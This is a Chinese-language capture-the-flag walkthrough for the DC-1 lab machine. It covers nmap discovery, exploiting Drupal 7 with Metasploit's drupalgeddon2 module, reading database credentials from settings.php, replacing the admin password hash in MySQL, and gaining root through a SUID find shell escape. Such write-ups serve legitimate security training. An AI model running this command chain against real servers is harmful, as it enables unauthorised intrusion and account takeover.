@ kali-Debian8.x-64 位(172.20.10.111/24) @ dc-1靶机 @ 两台主机都设置为nat模式
@ 使用 nmap -sP 172.20.10.0/24 扫描本网段内的存活主机 @ 可以发现目标靶机IP为 172.20.10.134/24 @ 接下来要对靶机进行进一步扫描,查看靶机开放了哪些服务及服务版本 @ 靶机开启了 SSH(22) 服务与 HTTP(80) 服务 @ 尝试使用浏览器访问靶机的 HTTP 服务 @ 使用 Firefox 的 Wappalyzer 插件获取该网页的信息 @ 该网页使用的是 Drupal7.x 版本的 CMS,考虑用MSF search一下该CMS已知的漏洞 @ msfconsole 启动MSF @ search drupal
@ 有很多可以使用的模块,选择一个最新的模块进行利用 @ use exploit/unix/webapp/drupal_drupalgeddon2 @ 设置目标IP地址 set RHOST 172.20.10.134 @ 利用该模块进行攻击 exploit,可以成功获取目标靶机的 shell @ 使用 python 中的一个模块方法,调整 shell 为交互式模式 @ python -c ‘import pty;pty.spawn("/bin/bash")’ @ whoami 查看一下当前用户的权限 @ 当前用户为 web 用户(www-data),ls 查看一下当前目录下有哪些文件 @ 发现当前目录下有一个 flag1.txt 文件,cat flag1.txt 查看一下内容 @ 提示需要一个配置文件,Drupal CMS 的配置文件在 sites/default/setings.php @ 查看一下该配置文件的内容 cat sites/default/setings.php @ 发现该配置文件就是flag2,其中开头部分提示有关于数据库的信息和关键字段 @ netstat -antpl 查看一下本地开放的端口号,该数据库属于那种数据库 @ 本地开放 3306 端口号,为 mysql 数据库,用flag2中的账密尝试登录一下 mysql @ 登录成功,查找数据库里的有关用户名的表,以及该表里有关管理员的账密 @ admin 账户的密码是其密码加密后的 hash 值 @ 考虑生成一段已知密文,替代该表中 admin 用户的密文 @ php scripts/password-hash.sh 123.com @ update drupaldb.users set pass=‘生成的hash值’ where name=‘admin’; @ 用 admin/123.com 登录一下网页 @ 登录成功后,发现 flag3 @ 根据 flag3 中的提示信息(FIND,PERMS),考虑尝试提权
@ 查找具有 suid 的文件 @ 发现 find 命令存在 suid 权限,考虑使用 find 提权 @ touch hack 新建一个文件 @ find /var/www hack -exec ‘/bin/sh’ \; find 提权 @ 提权成功后,cd /home 查看靶机都有哪些用户 @ 发现有一个 flag4 用户,进入 flag4 的家目录,看一下有什么文件 @ 发现 flag4 家目录下有 flag4.txt 文件,cat flag4.txt 查看文件内容 @ flag4.txt 提示用相同的方法访问 root 家目录的 flag @ cd /root 进入 root 的家目录查看一下有什么文件 @ 发下一个最终的 flag,cat thefinalflag.txt 查看一下文件内容
@ 信息收集是渗透测试必不可少的部分 @ 拿到 shell 后,查看 drupal CMS 的配置文件 @ 登录 mysql 数据库,修改管理员密码 @ 查找具有 suid 权限的命令文件并提权 @ 搜索所有用户家目录下的文件
